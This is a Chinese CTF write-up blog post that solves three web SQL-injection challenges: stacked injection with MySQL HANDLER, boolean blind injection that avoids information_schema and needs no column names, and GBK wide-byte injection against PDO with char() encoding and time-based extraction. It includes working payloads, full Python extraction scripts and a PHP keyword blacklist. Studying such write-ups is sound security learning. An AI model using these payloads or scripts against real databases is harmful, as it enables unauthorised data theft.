Author:颖奇L’Amore

Blog:www.gem-love.com


第一天wp: https://www.gem-love.com/ctf/1669.html

第三天wp: https://www.gem-love.com/ctf/1785.html


blacklist

考点:堆叠注入+handler代替select

这题是强网杯随便注改的,但是另外ban掉了强网杯payload的RENAME和ALTER。

查表:

1'; show tables;#
array(1) {
[0]=>
string(8) "FlagHere"
}

array(1) {
[0]=>
string(5) "words"
}

查字段:

1'; show columns from FlagHere;#
array(6) {
[0]=>
string(4) "flag"
[1]=>
string(12) "varchar(100)"
[2]=>
string(2) "NO"
[3]=>
string(0) ""
[4]=>
NULL
[5]=>
string(0) ""
}

强网杯那个题是通过重命名等操作得到flag,但是这个题把RENAME等都ban了,好在MySQL还有一个handler的可以代替select进行查询,payload:

1'; handler FlagHere open as y1ng; handler y1ng read first; handler y1ng close;#
array(1) {
[0]=>
string(42) "flag{fd4897cc-ba36-48b7-a8f7-7b7a58513730}"
}

Ezsqli

考点:无information_schema布尔盲注+无列名盲注

预备知识:

对MYSQL注入相关内容及部分Trick的归类小结    https://xz.aliyun.com/t/7169#toc-50

聊一聊bypass information_schema    https://www.anquanke.com/post/id/193512

这个题看了P3rh4ps、rdd师傅的wp和微笑师傅的官方wp:

P3: http://p3rh4ps.top/index.php/2020/02/22/20-2-23-i%e6%98%a5%e7%a7%8b%e5%85%ac%e7%9b%8a%e8%b5%9b-%e5%89%8d%e4%b8%a4%e5%a4%a9-web-writeup/

rdd: https://blog.csdn.net/qq_40648358/article/details/104456748

smi1e:https://www.smi1e.top/%e6%96%b0%e6%98%a5%e6%88%98%e7%96%ab%e5%85%ac%e7%9b%8a%e8%b5%9b-ezsqli-%e5%87%ba%e9%a2%98%e5%b0%8f%e8%ae%b0/

刚开始还好,fuzz发现:

  • 过滤了and or关键字
  • 过滤了if
  • 不能用information_schema
  • 没有单独过滤union和select, 但是过滤了union select,union某某某select之类
  • 过滤了sys.schema_auto_increment_columns 
  • 过滤了join

fuzz还发现:

2
返回Hello CQGAME
2||1=1
返回Hello Nu1L
2||1=5
返回Hello CQGAME

也就是说,本来2查询的是CQGAME,如果||后面的表达式为True则返回Nu1L、false则返回CQGAME。继续测试:

2||substr((select 1),1,1)=2
Hello CQGAME
2||substr((select 1),1,1)=1
Hello Nu1L

说明可以布尔盲注。

可以使用sys.schema_table_statistics_with_buffer,盲注表明脚本:

'''
Author: 颖奇L'Amore
Blog: www.gem-love.com
本文链接: https://www.gem-love.com/ctf/1669.html
'''
import requests
from urllib.parse import quote
alphabet = ['{','}','_',',','a','b','c','d','e','f','j','h','i','g','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','G','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z','0','1','2','3','4','5','6','7','8','9']
url = 'http://fd871d2e-cc2a-4f0b-878d-385ed4d11981.node3.buuoj.cn/'
target = 'select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database()'
res = ''
for i in range(1,50):
    for char in alphabet:
        payload = '2||ascii(substr(({}),{},1))=\'{}\''.format(target, i, ord(char))
        data = {
                'id':payload
                }
        r = requests.post(url=url, data=data)
        text = r.text
        # print(text)
        if 'Nu1L' in r.text:
            res += char
            print(res)
            break

得到表名:

users23333333333333,f1ag_1s_h3r3_hhhhh

然后无列名注入就看上面引用的文章里面的payload:

核心payload:(select 'admin','admin')>(select * from users limit 1)

再写个脚本跑就行了。这脚本参考了P3rh4ps师傅的exp,用字符的ASCII偏移一位来使判断成立,这个思路太顶了,看了好长时间才懂,我来详细解释一下这个事儿:

假设flag为flag{bbbbb},对于payload这个两个select查询的比较,是按位比较的,即先比第一位,如果相等则比第二位,以此类推;在某一位上,如果前者的ASCII大,不管总长度如何,ASCII大的则大,这个不难懂,和c语言的strcmp()函数原理一样,举几个例子:

  • glag > flag{bbbbb}
  • alag{zzzzzzzzzzz} < flag{bbbbb}
  • a < flag{bbbbb}
  • z > flag{bbbbb}

在这样的按位比较过程中,因为在里层的for()循环,字典顺序是从ASCII码小到大来枚举并比较的,假设正确值为b,那么字典跑到b的时候b=b不满足payload的大于号,只能继续下一轮循环,c>b此时满足了,题目返回真,出现了Nu1L关键字,这个时候就需要记录flag的值了,但是此时这一位的char是c,而真正的flag的这一位应该是b才对,所以flag += chr(char-1),这就是为什么在存flag时候要往前偏移一位的原因

脚本:

'''
Author: 颖奇L'Amore
Blog: www.gem-love.com
本文链接: https://www.gem-love.com/ctf/1669.html
'''
import requests
url = 'http://fd871d2e-cc2a-4f0b-878d-385ed4d11981.node3.buuoj.cn/'

def trans(flag):
    res = ''
    for i in flag:
        res += hex(ord(i))
    res = '0x' + res.replace('0x','')
    return res

flag = ''
for i in range(1,500): #这循环一定要大 不然flag长的话跑不完
    hexchar = ''
    for char in range(32, 126):
        hexchar = trans(flag+ chr(char))
        payload = '2||((select 1,{})>(select * from f1ag_1s_h3r3_hhhhh))'.format(hexchar)
        data = {
                'id':payload
                }
        r = requests.post(url=url, data=data)
        text = r.text
        if 'Nu1L' in r.text:
            flag += chr(char-1)
            print(flag)
            break

另外smi1e师傅的官方exp中用了取反符号~目的也是判断成立,就是因为MySQL的比较是按位比的。

再就是脚本进行了hex()操作,这是因为MySQL遇到hex会自动转成字符串(P3rh4ps师傅告诉的,学到了,日常膜p3师傅)


easysqli_copy

考点:宽字节+PDO堆叠+编码绕过+时间盲注

预备知识:

PDO场景下的SQL注入探究 https://xz.aliyun.com/t/3950

从宽字节注入认识PDO的原理和正确使用 https://www.freebuf.com/articles/web/216336.html

关于宽字节注入,请参考:

简析GXY_CTF “BabySqli v2.0”宽字节注入

打开即送源代码:

<?php 
    function check($str)
    {
        if(preg_match('/union|select|mid|substr|and|or|sleep|benchmark|join|limit|#|-|\^|&|database/i',$str,$matches))
        {
            print_r($matches);
            return 0;
        }
        else
        {
            return 1;
        }
    }
    try
    {
        $db = new PDO('mysql:host=localhost;dbname=pdotest','root','******');
    } 
    catch(Exception $e)
    {
        echo $e->getMessage();
    }
    if(isset($_GET['id']))
    {
        $id = $_GET['id'];
    }
    else
    {
        $test = $db->query("select balabala from table1");
        $res = $test->fetch(PDO::FETCH_ASSOC);
        $id = $res['balabala'];
    }
    if(check($id))
    {
        $query = "select balabala from table1 where 1=?";
        $db->query("set names gbk");
        $row = $db->prepare($query);
        $row->bindParam(1,$id);
        $row->execute();
    }

很明显可以看到:

  • 使用了PDO
  • set names gbk

考点就很明确了。观察一下正则匹配,发现一些基本的关键字被过滤了,不过可以用char()绕过,构造payload时候有点复杂,别的没啥了,脚本:

'''
Author: 颖奇L'Amore
Blog: www.gem-love.com
本文链接: https://www.gem-love.com/ctf/1669.html
'''
import requests
import time
from urllib.parse import quote

def charbypass(payload):
	charpayload = ''
	index = 0
	for i in payload:
		charpayload += 'char({})'.format(ord(i))
		index += 1
		# 防止结尾多一个逗号
		if index != len(payload):
			charpayload += ','
	return charpayload

alphabet = ['{','}','_',',','a','b','c','d','e','f','j','h','i','g','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','G','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z','0','1','2','3','4','5','6','7','8','9']

# 查表:table1
# target = 'select group_concat(table_name) from information_schema.tables where table_schema=database()'
# 查字段:balabala  eihey  fllllll4g
# target = 'select group_concat(column_name) from information_schema.columns where table_schema=database()'
# 查flag
target = 'select fllllll4g from table1'

result = ''
for i in range(1,50):
	for char in alphabet:
		# 构造payload
		inject = 'select if(ascii(substr(({}),{},1))={},sleep(4),1)'.format(target, i, ord(char))
		charinject = charbypass(inject)
		pdo = "set @a=concat({});PREPARE charinject FROM @a;EXECUTE charinject;".format(charinject)
		pdo += '||{}%271{}%27={}%271'.format("%df","%df","%df")
		url = 'http://6627a3ecadb74fc8a015c12efa10641461b80f02696c4583.changame.ichunqiu.com/?id=1%df%27;{}'.format(pdo)

		# 计算响应时长
		start = int(time.time())
		r = requests.get(url)
		response_time = int(time.time()) - start

		if response_time >= 3.5:
			result += char
			print('Found: {}'.format(result))
			break

跑一下得到flag:

颖奇L'Amore原创文章,转载请注明作者和文章链接

本文链接地址:https://www.gem-love.com/ctf/1782.html

注:本站定期更新图片链接,转载后务必将图片本地化,否则图片会无法显示


颖奇L'Amore

Most of the time is also called Y1ng. Cisco Certified Internetwork Expert - Routing and Switching. CTF player for team r3kapig. Forcus on Web Security. Islamic Scholar. Be good at sleeping and fishing in troubled waters.

0 条评论

发表评论

电子邮件地址不会被公开。 必填项已用*标注

在此处输入验证码 : *

Reload Image